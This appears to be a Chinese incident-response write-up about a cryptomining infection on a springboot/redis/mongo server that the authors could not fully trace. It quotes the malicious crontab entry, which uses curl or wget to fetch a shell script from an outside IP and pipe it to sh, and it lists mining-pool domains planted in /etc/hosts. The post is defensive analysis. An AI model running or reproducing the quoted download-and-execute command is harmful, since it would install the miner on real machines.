一次失败的应急,无法溯源springboot+redis+mongo

一次失败的应急springboot+redis+mongo

背景

昨个接到消息大概这样,某机构20年2月13号,2月23号,2月28号,3月4号均cpu占用异常高,疑似挖矿木马,通过和网管及其开发人员沟通,应用架构是springboot+redis+mongodb+nginx还有memcache

检测

通过架构,我们首先想到可能是redis未授权,又或是mongo未授权,nmap测了一波也未发现,以为是nmap问题,自己又手动测了一波,redis和mongo端口都不是默认的,并且设置了安全访问也就是密钥。

从zabbix上来看,15天的cpu占用,2月21号到2月23号cpu一直占用170%,在3月4号又出现cpu占用很高。

发现/var/spool/cron/root计划任务

*/15 * * * *
(/usr/bin/jterfa8||/usr/libexec/jterfa8||/usr/local/bin/jterfa8||/tmp/jterfa8||curl -m180 -fsSL http://67.207.95.103:8000/i.sh||wget -q -T180 -O- http://67.207.95.103:8000/i.sh) | sh

发现/etc/hosts被写了一堆矿池域名

 mine.moneropool.com"  
 xmr.crypto-pool.fr"  

 monerohash.com"  

 xmrpool.eu"  

 pool.noobxmr.com"  

 pool.minexmr.cn"  

 xmr.poolto.be"  

 monerohash.com"  

 stratum.viaxmr.com"  

 pool.monero.hashvault.pro"  

 xmr-us.suprnova.cc"  

 de.moriaxmr.com"  

 de2.moriaxmr.com"  

 fr.minexmr.com"  

 de.minexmr.com"  

 ca.minexmr.com"  

 sg.minexmr.com"  

 xmr.bohemianpool.com"  

 xmr-usa.dwarfpool.com"  

 monero.miners.pro"  

 xmr.prohash.net"  

 thyrsi.com"  

 minerxmr.ru"  

 zer0day.ru"  

 minergate.com"  

 pixeldra.in"  

"220.194.237.43 w.3ei.xyz"  

"220.194.237.43 w.21-3n.xyz"  

清除

  1. 停掉计划任务并清除挖矿计划任务
  2. 清除hosts恶意指向

其实我们处理的时候就cpu占用就不高了,排查的时候没看到可以进程,无可疑文件,15天内无系统文件被劫持。
和网管聊了一下,他们之前有自己处理过,在加上360天擎也杀了一部分,所以有一些细节性的东西就看不到了,应急到这也就只能被迫结束。

抑制

没溯源彻底,所以也谈不上抑制,建设性的提了几点:

  1. 不建议redis对公网监听
  2. 不建议redis以root用户启动

吓死我了。。。:joy:

看架构 服务完好程度,内部作案系数高


服务器资源由ZeptoVM赞助

Partners Wiki IRC